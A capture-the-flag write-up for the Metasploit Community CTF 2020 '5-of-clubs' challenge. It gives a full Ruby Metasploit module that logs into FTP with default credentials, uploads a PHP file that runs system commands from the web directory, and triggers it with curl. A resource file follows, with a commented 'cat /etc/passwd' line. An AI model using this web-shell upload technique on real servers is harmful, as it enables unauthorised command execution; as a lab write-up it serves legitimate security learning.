Metasploit Community CTF 2020 (Dec) Write-up: 5-of-clubs (port 8101)

Summary

The 5-of-clubs challenge was to write a Metasploit module that is uploaded and run on a computer to which you do not have direct access. The module is uploaded along with a resource file that is used to automate Metasploit, the output is logged and can be viewed following execution.

The web page explaining the challenge

Walk-through

The PCAP file showed that a PHP file is uploaded via ftp using credentials ftpuser:ftpuser into the files directory. This directory exists inside the web path and so the PHP can be executed by requesting the file over HTTP.

Wireshark showing the ftp communication in the PCAP file
Wireshark showing the HTTP request and response to the uploaded file

Now that we understand how the exploit functions, we need to write a Metasploit module that can be used to perform it. Some basic examples of Metasploit modules are given that can help for the basic structure of the exploit code, along with an example resource file that will be use to configure and run the module.

After uploading the files you can view the output and logs to debug and exfiltrate data.

Upload complete page with links to logs

I find writing ruby pretty difficult so this process involved lots of trial and error. Along the way you're given some encouragement if you make a request to the index page:

Request to the index page of the HTTP server

After a few failed attempts to solve the FTP file upload using hacky command execution methods I decided to do it properly and use the Msf::Exploit::Remote::Ftp class, this made it trivial to get the upload working by basing it off how other modules use it. I found the documentation provided a little difficult to use, but that could be in part due to my lack of experience with ruby.

conn = connect_login
if conn
    print_good("FTP - Login succeeded")

    result = send_cmd_data(["LS"], "A")
    print_status("LS response: #{result.inspect}")

    out = send_cmd(['CWD', 'files'], true)
    print_status(out)

    out = send_cmd(['TYPE', 'a'], true)

    # PHP payload:
    php_file = "<?php echo \"Hi\";?>"

    result = send_cmd_data(["PUT", "example.php"], php_file, "I")
    print_status("PUT response: #{result.inspect}")
end

While I did the FTP upload part properly, I ended up doing the HTTP part in a hacky way using command execution and causing the PHP file to be executed using the following:

value = %x( curl http://172.19.0.3/files/shell.php )
print_status(value)

Uploading this Metasploit module and resource file gives the following output to the logs:

Flag

Decoding this base64 string give us the 5-of-clubs.png card:

5-of-clubs flag

And the md5sum of this flag gives:

2a9fe85150d32ef6013223956e89649c

Full Code

The full code that I used to perform this challenge can be found below:

exploit.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Ftp


  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'stealthcopter msfhack',
        'Description'    => %q(
            stealthcopter attack!!!.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => ['stealthcopter'],
      'Platform'       => 'unix',
      'Arch'        => ARCH_CMD, 
        'Targets'        =>
            [
            [ 'Automatic',	{ } ]
            ],
        'DefaultTarget'  => 0,            
      )
    )
    
    register_options(
    [
        OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftpuser' ]),
        OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftpuser' ])
    ])        
  end

  #
  # The sample exploit just indicates that the remote host is always
  # vulnerable.
  #
  def check
    Exploit::CheckCode::Vulnerable
  end

  
  #
  # The exploit method connects to the remote service and sends 1024 random bytes
  # followed by the fake return address and then the payload.
  #
  def exploit
      
    print_status("HELLO")
    print_status("connecting to ftp")
    
    conn = connect_login
    if conn
        print_good("FTP - Login succeeded")
        
        result = send_cmd_data(["LS"], "A")
        print_status("LS response: #{result.inspect}")

        out = send_cmd(['CWD', 'files'], true)
        print_status(out)
        
        out = send_cmd(['TYPE', 'a'], true)
        
        # We can insert #{payload.encoded} into system, but for now lets do a dirty hack to get what we want
        php_file = "<?php system(\"md5sum /var/www/5_of_clubs.png; base64 /var/www/5_of_clubs.png\");?>"
        
        result = send_cmd_data(["PUT", "shell.php"], php_file, "I")
        print_status("PUT response: #{result.inspect}")
                
        result = send_cmd_data(["LS"], "A")
        print_status("LS response: #{result.inspect}")
        
        
        # Lets just use curl to execute as Http and Ftp includes dont play nice together
        print_status("\n\nNow triggering shell...")
        value = %x( curl http://172.19.0.3/files/shell.php )
        print_status(value)
        
    else
        print_status("FTP - Login failed")
    end
        
    handler
  end
end

resource.rc

# The module is copied to `modules/exploits/`, so don't change this
use exploit/module

set VERBOSE true

set FTPUSER ftpuser
set FTPPASS ftpuser

set RPORT 21


# Make sure everything is alright
show options

# this will execute the module and put any session in background
run -z

# This block of ruby code is useful to make sure a session is setup before
# interacting with it. Feel free to update this code.
<ruby>
  print_status('Waiting a bit to make sure the session is completely setup...')
  timeout = 10
  loop do
    break if (timeout == 0) || (framework.sessions.any? && framework.sessions.first[1].sys)
    sleep 1
    timeout -= 1
  end
  if framework.sessions.any? && framework.sessions.first[1].sys

    # Here is where we can interact with the session (shell or meterpreter).
    # The session number should be 1 at this point.
    # e.g. (for a meterpreter session):
    #run_single("sessions -i 1 -C 'pwd'")
    #run_single("sessions -i 1 -C 'ls -lah'")
    #run_single("sessions -i 1 -C 'cat /etc/passwd'")

  end
</ruby>

Other Challenges

Most of the other flags have been written up by my team-mate rushi and can be found here.